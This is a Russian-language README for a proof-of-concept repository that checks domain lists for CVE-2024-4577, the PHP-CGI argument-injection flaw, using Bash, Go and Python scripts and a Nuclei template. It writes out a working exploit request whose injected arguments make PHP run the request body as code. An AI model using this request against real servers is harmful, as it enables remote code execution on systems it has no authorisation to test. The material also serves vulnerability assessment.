
PHP RCE PoC для CVE-2024-4577, написанный на bash, go, python и шаблоне nuclei
Этот репозиторий содержит скрипты для проверки уязвимости CVE-2024-4577 — проблемы внедрения аргументов в PHP-CGI. Вы можете использовать предоставленные скрипты на Bash, Go и Python для тестирования списка доменов на эту уязвимость. Я также опубликовал файл YAML для Nuclei.
Чтобы использовать скрипт на Bash, выполните следующую команду:
./CVE-2024-4577.sh /path/to/domains-list
Сначала сохраните скрипт на Go в файл с именем CVE-2024-4577.go. Для сборки и запуска скрипта на Go:
Скомпилируйте скрипт на Go в бинарный файл:
go build -o CVE-2024-4577 CVE-2024-4577.go
Запустите бинарный файл, указав файл со списком доменов в качестве аргумента:
./CVE-2024-4577 /path/to/domains-list
Сначала сохраните скрипт на Python в файл с именем CVE-2024-4577.py. Для запуска скрипта на Python:
Убедитесь, что установлена библиотека requests:
pip install requests
Запустите скрипт на Python, указав файл со списком доменов в качестве аргумента:
python CVE-2024-4577.py /path/to/domains-list
(Опционально) Если вы хотите выводить только уязвимые хосты:
python CVE-2024-4577.py /path/to/domains-list --quiet
Для ручной проверки уязвимости вы можете отправить следующий POST-запрос:
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php phpinfo(); ?>
Я также создал шаблон Nuclei для сканирования уязвимых экземпляров; он использует схему макета v3 и был протестирован в лабораторной среде:
nuclei -t CVE-2024-4577.yaml -u <target-url>
Список доменов должен быть предварительно дополнен http/https, чтобы они правильно считывались.
http://example.com
http://testsite.com
http://vulnerablesite.com
Если домен оказывается уязвимым, вывод будет таким:
http://example.com: Vulnerable
http://vulnerablesite.com: Vulnerable